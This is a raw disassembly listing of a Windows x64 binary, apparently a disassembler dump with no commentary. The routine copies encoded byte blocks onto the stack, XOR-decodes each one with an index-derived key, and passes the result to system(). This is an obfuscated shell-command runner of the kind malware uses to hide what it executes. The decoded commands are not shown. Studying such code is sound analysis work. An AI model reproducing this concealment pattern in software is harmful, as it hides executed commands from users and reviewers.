movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140042d90
cmp r8d, 0x94
jge 0x140042ee3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x140042eb0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf600]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf610]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf620]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf630]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf640]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf650]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf660]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf670]
movups xmmword [rbp - 0x10], xmm1
mov eax, dword [0x1400cf680]
mov dword [rbp], eax
mov r8d, edi
cmp esi, 2
jl 0x14004309b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140042f90
cmp r8d, 0x84
jge 0x1400430e3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x1400430b0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce2e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce2f0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce300]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce310]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce320]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce330]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce340]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400ce350]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x1400ce358]
mov dword [rbp - 8], eax
movzx eax, byte [0x1400ce35c]
mov byte [rbp - 4], al
mov r8d, edi
cmp esi, 2
jl 0x1400432a5
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400431a0
cmp r8d, 0x7d
jge 0x1400432e0
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x1400432b0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce6a0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce6b0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce6c0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce6d0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce6e0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce6f0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce700]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400ce710]
movsd qword [rbp - 0x10], xmm0
movzx eax, byte [0x1400ce718]
mov byte [rbp - 8], al
mov r8d, edi
cmp esi, 2
jl 0x140043495
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140043390
cmp r8d, 0x79
jge 0x1400434d0
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x1400434a0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf250]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf260]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf270]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf280]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf290]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf2a0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf2b0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [str.K_UXRS]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1400cf2d0]
movsd qword [rbp], xmm0
cmp esi, 2
jl 0x140043682
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140043580
jmp 0x1400436c3
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140043690
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cec50]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cec60]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cec70]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cec80]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cec90]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ceca0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cecb0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cecc0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cecd0]
movups xmmword [rbp], xmm0
movzx eax, word [0x1400cece0]
mov word [rbp + 0x10], ax
movzx eax, byte [0x1400cece2]
mov byte [rbp + 0x12], al
mov r8d, edi
cmp esi, 2
jl 0x14004388b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140043780
cmp r8d, 0x93
jge 0x1400438d3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x1400438a0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf770]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf780]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [str.___7164_ae11]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [str._r___va_WxWYY_I]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf7b0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [str._tn__q]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf7d0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf7e0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cf7f0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cf800]
movsd qword [rbp + 0x10], xmm0
movzx eax, word [0x1400cf808]
mov word [rbp + 0x18], ax
mov r8d, edi
cmp esi, 2
jl 0x140043a9d
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140043992
cmp r8d, 0x9a
jge 0x140043ae3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x140043ab0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcef10]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, edi
cmp esi, 2
jl 0x140043cbb
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x140043bb0
cmp r8d, 0xc2
jge 0x140043d03
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140043cd0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcdd60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, edi
cmp esi, 2
jl 0x140043edb
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
